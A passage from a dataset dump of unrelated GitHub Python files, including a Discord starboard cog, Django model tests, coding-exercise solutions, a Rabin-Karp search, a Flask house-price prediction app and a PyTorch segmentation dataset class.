pause_state)\r\n automat.add_state('PPID', PPID)\r\n automat.add_state('POTIREF', POTIREF)\r\n automat.add_state('CASPID', CasPID)\r\n automat.add_state('CASPIDCLB', CasPIDClb)\r\n automat.add_state('PPIDBOOSTER', PPIDBooster)\r\n automat.add_state('CLB', clb)\r\n automat.add_state('EXIT', clean, end_state=True)\r\n \r\n# automat.set_start('FEED_THROUGH')\r\n automat.set_start(STARTSTATE)\r\n\r\n\r\n try:\r\n rootLogger.info('Run LowLevelCtr ...')\r\n automat.run()\r\n except Exception as e:\r\n rootLogger.exception(e)\r\n rootLogger.error(e, exc_info=True)\r\n raise\r\n rootLogger.info('LowLevelCtr is done ...')\r\n\r\n def kill(self):\r\n llc_ref.state = 'EXIT'\r\n","repo_name":"larslevity/CBoardMinimal","sub_path":"Src/Controller/lowlevel_controller.py","file_name":"lowlevel_controller.py","file_ext":"py","file_size_in_byte":11741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18232856874","text":"import discord\nfrom discord.ext import commands\n\n\nasync def star(stars):\n if stars in range(0, 6):\n colour = 0xECFFA7\n star_ = '⭐'\n elif stars in range(5, 11):\n colour = 0xE1FF79\n star_ = '🌟'\n elif stars in range(10, 16):\n colour = 0xD4FF3E\n star_ = '💫'\n else:\n colour = 0xC7FF00\n star_ = '☄️'\n return colour, star_\n\n\nasync def create_embed(message: discord.Message, stars: int):\n colour, star_count = star(stars)\n embed = discord.Embed(colour=colour, description='[Original Message]({})'.format(message.jump_url))\n embed.set_author(icon_url=message.author.avatar, name=message.author)\n\n if message.content:\n embed.add_field(name='Message:', value=message.content)\n\n if message.attachments:\n if message.attachments[0].filename.split('.')[-1] not in ['png', 'jpg', 'gif', 'jpeg']:\n embed.add_field(name='Attachments:', value=message.attachments[0].url)\n else:\n embed.set_image(url=message.attachments[0].url)\n\n pre = 'Stars' if stars != 1 else 'Star'\n message_ = '{} **{} {}** {}'.format(star_count, stars, pre, message.channel.mention)\n return embed, message_\n\nclass Starboard(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.client = self.bot.client\n self._client = bot.beta_client\n\n self.table = self.client['Bot']\n self.column = self.table['Starboard']\n self.guild = self.table['Guilds']\n\n self.cache = {}\n\n @commands.Cog.listener()\n async def on_raw_reaction_add(self, payload):\n if not str(payload.emoji) == '⭐':\n return\n\n channel = self.cache.get(payload.guild_id)\n if not channel:\n channel = self.guild.find_one({'_id': payload.guild_id})['StarChannel']\n if not channel:\n return\n message = await self.bot.get_channel(payload.channel_id).fetch_message(payload.message_id)\n if payload.member.id == message.author.id or message.author.bot or channel == payload.channel_id:\n return await message.remove_reaction(payload.emoji, payload.member)\n star_message = self.column.find_one({'_id': f'{payload.guild_id}/{payload.message_id}'})\n star_limit = self.guild.find_one({'_id': payload.guild_id}).get('StarCount') or 0\n for reaction in message.reactions:\n if reaction.emoji == '⭐':\n count = reaction.count\n break\n \n if count < star_limit:\n return\n \n star_channel = self.bot.get_channel(channel)\n embed, mes = create_embed(message, count)\n \n if not star_message:\n try:\n star_mes = await star_channel.send(content=mes, embed=embed)\n except discord.errors.HTTPException:\n embed = discord.Embed(description='[Original Message]({})'.format(message.jump_url), colour=discord.Colour.red()).set_author(icon_url=message.author.avatar, name=message.author)\n embed.set_footer(text='Missing Field, Cannot Load Original Message!', icon_url=self.bot.user.avatar)\n star_mes = await star_channel.send(embed=embed, content=mes)\n self.column.insert_one({'_id': f'{payload.guild_id}/{payload.message_id}', 'MessageID': payload.message_id})\n \n else:\n star_message = await star_channel.fetch_message(star_message['MessageID'])\n if not star_message:\n self.column.delete_one({'_id': f'{payload.guild_id}/{payload.message_id}'})\n try:\n await star_message.edit(content=mes, embed=embed)\n except discord.errors.HTTPException:\n embed = discord.Embed(description='[Original Message]({})'.format(message.jump_url), colour=discord.Colour.red()).set_author(icon_url=message.author.avatar, name=message.author)\n embed.set_footer(text='Missing Field, Cannot Load Original Message!', icon_url=self.bot.user.avatar)\n await star_message.edit(embed=embed, content=mes)\n\n @commands.command()\n @commands.cooldown(1, 20, commands.BucketType.user)\n async def starboard(self, ctx):\n data = self.guild.find_one({'_id': ctx.guild.id})\n channel = data['StarChannel']\n star_lim = data['StarCount']\n \n if isinstance(channel, int):\n channel_ = self.bot.get_channel(channel)\n if not channel_:\n channel_ = 'Not Set'\n else:\n channel_ = 'Not Set'\n status = 'Status: Active <:4941_online:787764205256310825>' if channel_ != 'Not Set' else 'Status: Inactive <:offline:787764149706031104>'\n colour = discord.Colour.green() if channel_ != 'Not Set' else discord.Colour.red()\n embed = discord.Embed(\n title=status,\n colour=colour)\n embed.add_field(name='Channel:', value=channel_.mention if channel_ != 'Not Set' else channel_)\n embed.add_field(name='Star Limit:', value='**{}**'.format('1' if not star_lim else star_lim))\n await ctx.send(embed=embed)\n\ndef setup(bot):\n bot.add_cog(Starboard(bot))\n","repo_name":"Seniatical/Mecha-Karen","sub_path":"Bot/src/passive/starboard.py","file_name":"starboard.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"72"} +{"seq_id":"31039712941","text":"#################################\n# Michael Gruber, 21.10.2021 #\n# Medizinische Universität Graz #\n# Lehrstuhl für Histologie #\n#################################\n\nimport os\n\n\ndef check_if_input_files_exist(\n p: dict\n):\n\n \"\"\"Check if the input files defined in gtc parameters exist.\"\"\"\n\n for fname in p['files'].values():\n if not os.path.exists(fname):\n raise ValueError(\"The following input file does not exist: %s \"\n \"- Check the file paths' name in 'Gtc-Parameters'!\" % fname)\n\n#################################\n","repo_name":"spatialhisto/GTC","sub_path":"gtc/control/gtc_control__check_if_input_files_exist.py","file_name":"gtc_control__check_if_input_files_exist.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"24909506908","text":"import pytest\n\nfrom hawc.apps.animal import models\nfrom hawc.apps.assessment.models import Species, Strain\nfrom hawc.apps.study.models import Study\n\n\n@pytest.mark.django_db\nclass TestAnimalGroup:\n def test_can_delete(self):\n study = Study.objects.get(pk=1)\n experiment = models.Experiment(\n study=study,\n name=\"test\",\n type=\"Rp\",\n )\n experiment.save()\n species = Species.objects.get(pk=1)\n strain = Strain.objects.get(pk=1)\n dr = models.DosingRegime(route_of_exposure=\"OR\")\n dr.save()\n parent = models.AnimalGroup(\n experiment=experiment,\n name=\"parent\",\n sex=\"C\",\n dosing_regime=dr,\n species=species,\n strain=strain,\n )\n dr.dosed_animals = parent\n parent.save()\n dr.save()\n child = models.AnimalGroup(\n experiment=experiment,\n name=\"child\",\n sex=\"C\",\n dosing_regime=dr,\n species=species,\n strain=strain,\n )\n child.save()\n assert parent.can_delete() is False\n assert child.can_delete() is True\n child.delete()\n assert parent.can_delete() is True\n\n # animal group with no dosing regime can be deleted\n parent.dosing_regime = None\n assert parent.can_delete() is True\n\n\n@pytest.mark.django_db\nclass TestEndpoint:\n def test_save(self, db_keys):\n # make sure our strip() methods work\n instance = models.Endpoint.objects.get(id=db_keys.endpoint_working)\n assert instance.system == \"\"\n instance.system = \" \"\n instance.save()\n assert instance.system == \"\"\n\n\ndef _check_percent_control(inputs, outputs, data_type):\n data = [{\"n\": el[1], \"response\": el[2], \"stdev\": el[3]} for el in inputs]\n models.EndpointGroup.percentControl(data_type, data)\n for i, d in enumerate(outputs):\n if outputs[i][0] is None:\n assert outputs[i][0] == data[i][\"percentControlMean\"]\n else:\n assert outputs[i][0] == pytest.approx(data[i][\"percentControlMean\"])\n\n if outputs[i][1] is None:\n assert outputs[i][1] == data[i][\"percentControlLow\"]\n else:\n assert outputs[i][1] == pytest.approx(data[i][\"percentControlLow\"])\n\n if outputs[i][2] is None:\n assert outputs[i][2] == data[i][\"percentControlHigh\"]\n else:\n assert outputs[i][2] == pytest.approx(data[i][\"percentControlHigh\"])\n\n\ndef test_endpoint_group_percent_control():\n # increasing\n inputs = [\n (0, 10, 15.1, 3.5),\n (100, 9, 25.5, 7.8),\n (200, 8, 35.7, 13.3),\n (300, 7, 150.1, 23.1),\n ]\n outputs = [\n (0.0, -20.3171209611, 20.3171209611),\n (68.8741721854, 27.3103479282, 110.437996443),\n (136.42384106, 66.5736748386, 206.274007281),\n (894.039735099, 711.728201234, 1076.35126896),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # decreasing\n inputs = [\n (0, 7, 150.1, 15.1),\n (100, 8, 35.7, 13.3),\n (200, 9, 25.5, 7.8),\n (300, 10, 15.1, 3.5),\n ]\n outputs = [\n (0.0, -10.5394586484, 10.5394586484),\n (-76.2158560959, -82.6067710106, -69.8249411813),\n (-83.0113257828, -86.634786933, -79.3878646326),\n (-89.9400399734, -91.5681779063, -88.3119020404),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # edge case\n inputs = [\n (0, 7, 150.1, 15.1),\n (100, 7, 150.1, 15.1),\n (200, 700, 150.1, 15.1),\n (300, 10, 0, 15),\n ]\n outputs = [\n (0.0, -10.5394586484, 10.5394586484),\n (0.0, -10.5394586484, 10.5394586484),\n (0.0, -7.48969260009, 7.48969260009),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n # none cases\n inputs = [\n (0, 7, 150.1, None),\n (0, 7, 0, 3),\n ]\n outputs = [\n (0.0, None, None),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n inputs = [\n (0, 7, 0, 3),\n (0, 7, 150.1, None),\n ]\n outputs = [\n (None, None, None),\n (None, None, None),\n ]\n _check_percent_control(inputs, outputs, \"C\")\n\n\ndef test_percent_control():\n egs = [{\"response\": 1, \"lower_ci\": 2, \"upper_ci\": 3}]\n models.EndpointGroup.percentControl(\"P\", egs)\n assert 1 == pytest.approx(egs[0][\"percentControlMean\"])\n assert 2 == pytest.approx(egs[0][\"percentControlLow\"])\n assert 3 == pytest.approx(egs[0][\"percentControlHigh\"])\n\n\nclass TestConfidenceIntervalsMixin:\n def testGetConfidenceIntervals_continuous(self):\n # test invalid data\n data = [\n {\"n\": None, \"response\": 10, \"stdev\": 1},\n {\"n\": 0, \"response\": 10, \"stdev\": 1},\n {\"n\": 30, \"response\": None, \"stdev\": 1},\n {\"n\": 30, \"response\": 10, \"stdev\": None},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"C\", data)\n for item in data:\n assert \"lower_ci\" not in item\n assert \"upper_ci\" not in item\n\n # test valid data\n data = [\n {\"n\": 30, \"response\": 10, \"stdev\": 1},\n {\"n\": 10, \"response\": 10, \"stdev\": 1},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"C\", data)\n lowers = list(map(lambda d: d[\"lower_ci\"], data))\n uppers = list(map(lambda d: d[\"upper_ci\"], data))\n assert pytest.approx([9.62, 9.28], abs=0.1) == lowers\n assert pytest.approx([10.37, 10.72], abs=0.1) == uppers\n\n def testGetConfidenceIntervals_dichtomous(self):\n # test invalid data\n data = [\n {\"n\": None, \"incidence\": 10},\n {\"n\": 0, \"incidence\": 10},\n {\"n\": 30, \"incidence\": None},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"D\", data)\n for item in data:\n assert \"lower_ci\" not in item\n assert \"upper_ci\" not in item\n\n # test valid data\n data = [\n {\"n\": 10, \"incidence\": 0},\n {\"n\": 10, \"incidence\": 10},\n {\"n\": 100, \"incidence\": 0},\n {\"n\": 100, \"incidence\": 100},\n ]\n models.ConfidenceIntervalsMixin.getConfidenceIntervals(\"D\", data)\n lowers = list(map(lambda d: d[\"lower_ci\"], data))\n uppers = list(map(lambda d: d[\"upper_ci\"], data))\n assert pytest.approx([0.0092, 0.6554, 0.0009, 0.9538], abs=0.001) == lowers\n assert pytest.approx([0.3474, 0.9960, 0.0461, 0.9991], abs=0.001) == uppers\n\n\n@pytest.mark.django_db\ndef test_heatmap_df(db_keys):\n df = models.Endpoint.heatmap_df(db_keys.assessment_final, True)\n expected_columns = [\n \"study id\",\n \"study citation\",\n \"study identifier\",\n \"overall study evaluation\",\n \"experiment id\",\n \"experiment name\",\n \"experiment type\",\n \"treatment period\",\n \"experiment cas\",\n \"experiment dtxsid\",\n \"experiment chemical\",\n \"animal group id\",\n \"animal group name\",\n \"animal description\",\n \"animal description, with n\",\n \"species\",\n \"strain\",\n \"sex\",\n \"generation\",\n \"route of exposure\",\n \"endpoint id\",\n \"system\",\n \"organ\",\n \"effect\",\n \"effect subtype\",\n \"endpoint name\",\n \"diagnostic\",\n \"observation time\",\n ]\n assert df.columns.tolist() == expected_columns\n","repo_name":"shapiromatron/hawc","sub_path":"tests/hawc/apps/animal/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":7507,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"22578089291","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\ndef hourglass(arr):\r\n val = -10000\r\n x = len(arr)\r\n y = len(arr[0])\r\n\r\n for i in range(x-2):\r\n val_v = 0\r\n for j in range(y-2):\r\n val_v = arr[i][j]+arr[i][j+1]+arr[i][j+2]+arr[i+2][j+2]+arr[i+1][j+1]+arr[i+2][j+1]+arr[i+2][j]\r\n\r\n if val_v>val:\r\n val = val_v\r\n return val\r\n\r\n\r\nif __name__ == '__main__':\r\n arr = []\r\n\r\n for _ in range(6):\r\n arr.append(list(map(int, input().rstrip().split())))\r\n\r\nprint(hourglass(arr))\r\n","repo_name":"rajnish-13547/Hackerrank-30-day-Code","sub_path":"Day 11 2D Arrays.py","file_name":"Day 11 2D Arrays.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44467977554","text":"# python3\n\ndef read_input():\n # this function needs to aquire input both from keyboard and file\n # as before, use capital i (input from keyboard) and capital f (input from file) to choose which input type will follow\n choice = input()\n if \"I\" in choice:\n pattern = input()\n text = input()\n else:\n folder = \"tests/06\"\n with open(folder, \"r\") as files:\n pattern = files.readline()\n text = files.readline()\n \n return (pattern.rstrip(), text.rstrip())\n # after input type choice\n # read two lines \n # first line is pattern \n # second line is text in which to look for pattern \n # return both lines in one return\n # this is the sample return, notice the rstrip function\n\ndef print_occurrences(output):\n # this function should control output, it doesn't need any return\n print(' '.join(map(str, output)))\n\ndef hash_func(s, prime, x):\n h = 0\n for c in reversed(s):\n h = (h * x + ord(c)) % prime\n return h\n\ndef get_occurrences(pattern, text):\n # this function should find the occurrences using Rabin Karp algorithm\n prime = 10**9 + 7\n x = 263\n p_len = len(pattern)\n t_len = len(text)\n p_hash = hash_func(pattern, prime, x)\n t_hashes = [hash_func(text[i:i+p_len], prime, x) for i in range(t_len-p_len+1)]\n occurrences = [i for i in range(t_len-p_len+1) if t_hashes[i] == p_hash]\n return occurrences\n\n# this part launches the functions\nif __name__ == '__main__':\n print_occurrences(get_occurrences(*read_input()))\n\n","repo_name":"DA-testa/string-pattern-KaterinaSinicka-221RDB179","sub_path":"hash_substring.py","file_name":"hash_substring.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14520240021","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[145]:\n\n\nimport numpy as np # for manipulation\nimport pandas as pd # for data loading\n\nfrom sklearn.preprocessing import StandardScaler # for scaling the attributes\nfrom sklearn.preprocessing import OneHotEncoder # for handling categorical features\nfrom sklearn.impute import SimpleImputer # for handling missing data\n\nimport pickle # for importing model\n\nfrom flask import Flask, request, jsonify, render_template # for handling web service\n\n# model and fitted object loading\nmodel = pickle.load(open('houseregressionmodel.pkl', 'rb'))\nimputer = pickle.load(open('houseimputer.pkl', 'rb'))\nscaler = pickle.load(open('housescaler.pkl', 'rb'))\nohencoder = pickle.load(open('houseohencoder.pkl', 'rb'))\n\n# Flask instantiation\napp = Flask(__name__, template_folder='templates')\n\n# Custom class for combined attributes\nclass CombinedAttributesAdder(): \n def fit(self, X, y=None):\n return self\n def transform(self, X, rooms_ix, bedrooms_ix, population_ix, households_ix):\n rooms_per_household = X[:, rooms_ix] / X[:, households_ix]\n population_per_household = X[:, population_ix] / X[:, households_ix]\n bedrooms_per_room = X[:, bedrooms_ix] / X[:, rooms_ix]\n \n X = np.delete(X, [households_ix, rooms_ix, population_ix, bedrooms_ix], 1)\n \n return np.c_[X, rooms_per_household, population_per_household, bedrooms_per_room]\n \n# class for data preprocessing\nclass data_preprocessing():\n def __init__(self):\n self.imputer = imputer\n self.attr_add = CombinedAttributesAdder()\n self.stdscale = scaler\n self.ohe = ohencoder\n \n def transform(self, X, rooms_ix, bedrooms_ix, population_ix, households_ix): \n # transform the test data (use the fitted imputer, \n # standardscaler, onehotencoder, \n # combinedattribute from training)\n house_num = X.drop(\"ocean_proximity\", axis=1)\n house_cat = X[[\"ocean_proximity\"]]\n \n # handle missing data\n X_test_imp = self.imputer.transform(house_num)\n X_test_imp = pd.DataFrame(X_test_imp, columns=house_num.columns, index=X.index)\n \n # combined attributes\n housing_addtl_attr = self.attr_add.transform(X_test_imp.values, rooms_ix, \n bedrooms_ix, population_ix, households_ix)\n \n # scale the features\n X_test_imp_scaled = self.stdscale.transform(housing_addtl_attr)\n \n # handle categorical input feature\n X_test_ohe = self.ohe.transform(house_cat)\n \n # concatenate features\n X_test = np.concatenate([X_test_imp_scaled, X_test_ohe], axis=1)\n \n return X_test\n \n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n return(render_template('index.html'))\n if request.method == 'POST':\n # get input values\n longitude = float(request.form['longitude'])\n latitude = float(request.form['latitude'])\n housingmedianage = float(request.form['housingmedianage'])\n totalrooms = float(request.form['totalrooms'])\n totalbedrooms = request.form['totalbedrooms'] \n population = float(request.form['population'])\n households = float(request.form['households'])\n medianincome = float(request.form['medianincome'])\n oceanproximity = request.form['oceanproximity']\n \n # handle missing input in total_bedrooms attribute\n if totalbedrooms == '':\n totalbedrooms = float('nan')\n else:\n totalbedrooms = float(totalbedrooms)\n \n # new category creation by assuming median income is a very important attribute \n income_cat = pd.cut([medianincome],\n bins=[0., 1.5, 3.0, 4.5, 6., np.inf],\n labels=[1, 2, 3, 4, 5])\n \n # convert input data to dataframe\n inputs_ = {'longitude': longitude,\n 'latitude': latitude,\n 'housing_median_age': housingmedianage,\n 'total_rooms': totalrooms,\n 'total_bedrooms': totalbedrooms,\n 'population': population,\n 'households': households,\n 'median_income': medianincome,\n 'ocean_proximity': oceanproximity,\n 'income_cat': income_cat}\n \n inputs_df = pd.DataFrame(inputs_)\n \n # get the column indices to be used in getting additional attributes\n col_names = [\"total_rooms\", \"total_bedrooms\", \"population\", \"households\"]\n rooms_ix, bedrooms_ix, population_ix, households_ix = [\n inputs_df.columns.get_loc(c) for c in col_names] # get the column indices\n \n # preprocess the inputs\n preprocessing_ = data_preprocessing()\n inputs_preprocessed = preprocessing_.transform(inputs_df, rooms_ix, bedrooms_ix, \n population_ix, households_ix)\n \n # predict the price\n prediction = model.predict(inputs_preprocessed)\n \n return render_template('index.html', result=prediction[0]) \n\n# running the application for serving\nif __name__ == '__main__':\n app.run(host=\"128.134.65.180\")\n\n","repo_name":"annjelyntiempo/housepredictionwebapp","sub_path":"oneoff_app.py","file_name":"oneoff_app.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32572574289","text":"from pyhtmlgui import Observable\nfrom .counter import Counter\nfrom .countersInDict import CounterInDict\nfrom .countersInList import CounterInList\nfrom .twoCounters import TwoCounters\n\n\nclass App(Observable):\n def __init__(self):\n super().__init__()\n self.counter = Counter()\n self.countersInDict = CounterInDict()\n self.countersInList = CounterInList()\n self.twoCounters = TwoCounters()\n\n def on_view_connected(self, nr_of_instances, nr_of_connections):\n print(\"View connected:\", nr_of_instances, nr_of_connections)\n\n def on_view_disconnected(self, nr_of_instances, nr_of_connections):\n print(\"View disconnected:\", nr_of_instances, nr_of_connections)\n if nr_of_instances == 0:\n print(\"No more frontends connected, exit now\")\n exit(0)\n","repo_name":"dirk-makerhafen/pyHtmlGui","sub_path":"examples/full/src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"20515841141","text":"with open(\"input18.txt\", \"r\") as f:\n lines = f.readlines()\n\n\ndef bracket(line, part2=False):\n n = 1\n tmp = []\n while n > 0:\n a, *line = line\n if a == \"(\":\n n += 1\n if a == \")\":\n n -= 1\n tmp.append(a)\n return evaluate(tmp[:-1], part2=part2), line\n\n\ndef nextoperand(line, part2=False):\n a, *line = line\n if a == \"(\":\n return bracket(line, part2=part2)\n elif a.isdigit():\n return int(a), line\n\n\ndef evaluate(line, res=None, part2=False):\n if not line:\n return res\n if res is None:\n x, line = nextoperand(line)\n return evaluate(line, x, part2)\n a, *line = line\n if a == \"*\":\n if part2:\n return res * evaluate(line, part2=part2)\n else:\n x, line = nextoperand(line)\n return evaluate(line, res * x, part2=part2)\n if a == \"+\":\n x, line = nextoperand(line)\n return evaluate(line, res + x, part2=part2)\n\n\nprint(sum([evaluate(list(\"\".join(line.split()))) for line in lines]))\nprint(sum([evaluate(list(\"\".join(line.split())), part2=True) for line in lines]))\n","repo_name":"dbeutel/adventofcode","sub_path":"2020/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5747757101","text":"#!/usr/bin/env python3\n\nfrom pathlib import Path\nfrom typing import Callable, Dict, List, Tuple, Union\n\nimport torch\nfrom torch import Tensor, einsum\nfrom PIL import Image, ImageOps\nfrom torch.utils.data import Dataset\n\n\ndef make_dataset(root, subset) -> List[Tuple[Path, Path, Path]]:\n assert subset in ['train', 'val', 'test']\n\n root = Path(root)\n\n img_path = root / subset / 'img'\n full_path = root / subset / 'gt'\n weak_path = root / subset / 'weak'\n\n images = sorted(img_path.glob(\"*.png\"))\n full_labels = sorted(full_path.glob(\"*.png\"))\n weak_labels = sorted(weak_path.glob(\"*.png\"))\n\n return list(zip(images, full_labels, weak_labels))\n\n\nclass SliceDataset(Dataset):\n def __init__(self, subset, root_dir, transform=None,\n mask_transform=None, augment=False, equalize=False):\n self.root_dir: str = root_dir\n self.transform: Callable = transform\n self.mask_transform: Callable = mask_transform\n self.augmentation: bool = augment\n self.equalize: bool = equalize\n\n self.files = make_dataset(root_dir, subset)\n\n print(f\">> Created {subset} dataset with {len(self)} images...\")\n\n def __len__(self):\n return len(self.files)\n\n def __getitem__(self, index) -> Dict[str, Union[Tensor, int, str]]:\n img_path, gt_path, weak_path = self.files[index]\n\n img = Image.open(img_path)\n mask = Image.open(gt_path)\n weak_mask = Image.open(weak_path)\n\n if self.equalize:\n img = ImageOps.equalize(img)\n\n if self.transform:\n img = self.transform(img)\n mask = self.mask_transform(mask)\n weak_mask = self.mask_transform(weak_mask)\n\n _, W, H = img.shape\n K, _, _ = mask.shape\n assert mask.shape == weak_mask.shape == (K, W, H)\n\n # Circle: 8011\n true_size = einsum(\"kwh->k\", mask).type(torch.float32)\n bounds = einsum(\"k,b->kb\", true_size, torch.tensor([0.9, 1.1], dtype=torch.float32))\n assert bounds.shape == (K, 2) # binary, upper and lower bounds\n\n return {\"img\": img,\n \"full_mask\": mask,\n \"weak_mask\": weak_mask,\n \"path\": str(img_path),\n \"true_size\": true_size,\n \"bounds\": bounds}\n","repo_name":"LIVIAETS/miccai_weakly_supervised_tutorial","sub_path":"code/utils/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"72"} +{"seq_id":"256358912","text":"\"\"\"\n@Name: token\n@Version: \n@Project: PyCharm\n@Author: wangmin\n@Data: 2018/6/11\n\"\"\"\n\nimport xlrd\nfrom config.cnf import Config\n# import json\n\nclass ExcelData(Config):\n def __init__(self):\n super(ExcelData, self).__init__()\n self.config = Config()\n self.data_address = self.config.get_config('DATABASE', 'data_address')\n self.workbook = xlrd.open_workbook(self.data_address, 'utf-8')\n\n def readData(self, table_name):\n\n \"\"\"\n\n :param table_name: 工作表名称\n :return: 以list返回每个工作表中的所有数据\n \"\"\"\n self.table = self.workbook.sheet_by_name(table_name)\n self.row = self.table.row_values(0) # 获取行title\n self.rowNum = self.table.nrows # 获取行数量\n self.colNum = self.table.ncols # 获取列数量\n self.curRowNo = 1 # the current column\n\n r = []\n while self.hasNext():\n s = {}\n col = self.table.row_values(self.curRowNo)\n i = self.colNum\n for x in range(i):\n s[self.row[x]] = col[x]\n r.append(s)\n self.curRowNo += 1\n return r\n\n def next(self):\n r = []\n while self.hasNext():\n s = {}\n col = self.table.row_values(self.curRowNo)\n i = self.colNum\n for x in range(i):\n s[self.row[x]] = col[x]\n r.append(s)\n self.curRowNo += 1\n\n return r\n\n def hasNext(self):\n if self.rowNum == 0 or self.rowNum <= self.curRowNo:\n return False\n else:\n return True\n\n","repo_name":"zimengrao/PythonLearn","sub_path":"learn2020_03/practice/yinyueriji/lib/web/gettoken.py","file_name":"gettoken.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17456087002","text":"'''\nSlicing MultiIndexed DataFrames\n\nThis exercise picks up where the last ended (again using The Guardian's Olympic medal dataset).\n\nYou are provided with the MultiIndexed DataFrame as produced at the end of the preceding exercise. Your task is to sort the DataFrame and to use the pd.IndexSlice to extract specific slices. Check out this exercise from Manipulating DataFrames with pandas to refresh your memory on how to deal with MultiIndexed DataFrames.\n\npandas has been imported for you as pd and the DataFrame medals is already in your namespace.\n'''\n\nimport pandas as pd\n\nmedals = []\nmedal_types = ['bronze', 'silver', 'gold']\n\nfor medal in medal_types:\n\n file_name = \"../datasets/summer-olympic-medals/%s_top5.csv\" % medal\n\n # Read file_name into a DataFrame: medal_df\n medal_df = pd.read_csv(file_name, index_col='Country')\n \n # Append medal_df to medals\n medals.append(medal_df)\n\n# Concatenate medals: medals\nmedals = pd.concat(medals, keys=['bronze', 'silver', 'gold'])\n\n'''\nINSTRUCTIONS\n\n* Create a new DataFrame medals_sorted with the entries of medals sorted. Use .sort_index(level=0) to ensure the Index is sorted suitably.\n* Print the number of bronze medals won by Germany and all of the silver medal data. This has been done for you.\n* Create an alias for pd.IndexSlice called idx. A slicer pd.IndexSlice is required when slicing on the inner level of a MultiIndex.\n* Slice all the data on medals won by the United Kingdom. To do this, use the .loc[] accessor with idx[:,'United Kingdom'], :.\n'''\n\n# Sort the entries of medals\nmedals_sorted = medals.sort_index(level=0)\n\n# Print the number of Bronze medals won by Germany\nprint(medals_sorted.loc[('bronze','Germany')])\n\n# Print data about silver medals\nprint(medals_sorted.loc['silver'])\n\n# Create alias for pd.IndexSlice: idx\nidx = pd.IndexSlice\n\n# Print all the data on medals won by the United Kingdom\nprint(medals_sorted.loc[idx[:,'United Kingdom'], :])\n\n'''\n> medals\n Total\n Country \nbronze United States 1052.0\n Soviet Union 584.0\n United Kingdom 505.0\n France 475.0\n Germany 454.0\nsilver United States 1195.0\n Soviet Union 627.0\n United Kingdom 591.0\n France 461.0\n Italy 394.0\ngold United States 2088.0\n Soviet Union 838.0\n United Kingdom 498.0\n Italy 460.0\n Germany 407.0\n\n> medals_sorted\n Total\n Country \nbronze France 475.0\n Germany 454.0\n Soviet Union 584.0\n United Kingdom 505.0\n United States 1052.0\ngold Germany 407.0\n Italy 460.0\n Soviet Union 838.0\n United Kingdom 498.0\n United States 2088.0\nsilver France 461.0\n Italy 394.0\n Soviet Union 627.0\n United Kingdom 591.0\n United States 1195.0\n\n> medals_sorted.loc[('bronze','Germany')]\nTotal 454.0\nName: (bronze, Germany), dtype: float64\n\n> medals_sorted.loc['silver']\n Total\nCountry \nFrance 461.0\nItaly 394.0\nSoviet Union 627.0\nUnited Kingdom 591.0\nUnited States 1195.0\n\n> medals_sorted.loc[idx[:,'United Kingdom'], :]\n Total\n Country\nbronze United Kingdom 505.0\ngold United Kingdom 498.0\nsilver United Kingdom 591.0\n'''","repo_name":"sashakrasnov/datacamp","sub_path":"10-merging-dataframes-with-pandas/2-concatenating-data/07-slicing-multiindexed-dataframes.py","file_name":"07-slicing-multiindexed-dataframes.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"6703247881","text":"N = 100000\nv = [0 for x in range(N)]\ndef crivo():\n i = 2\n while i*i < N:\n j = i*i\n while j < N:\n v[j] = 1\n j += i\n i += 1\n\ndef count(a,b):\n n = 0\n while True:\n if abs(v[n*n + a*n + b]) != 0:\n break\n n += 1\n return n\n\nans = 0\nmaxn = 0\ncrivo()\nfor i in range(-1000,1001):\n for j in range(-1000,1001):\n c = count(i,j)\n if c > maxn:\n maxn = c\n ans = i*j\n\nprint(ans)\n","repo_name":"gabrielrussoc/competitive-programming","sub_path":"project-euler/27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"74068336231","text":"\n\nfrom agent.dqn import PolicyNetwork\nfrom agent.replay_memory import ReplayMemory\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\n\nclass Learner():\n def __init__(self, \n 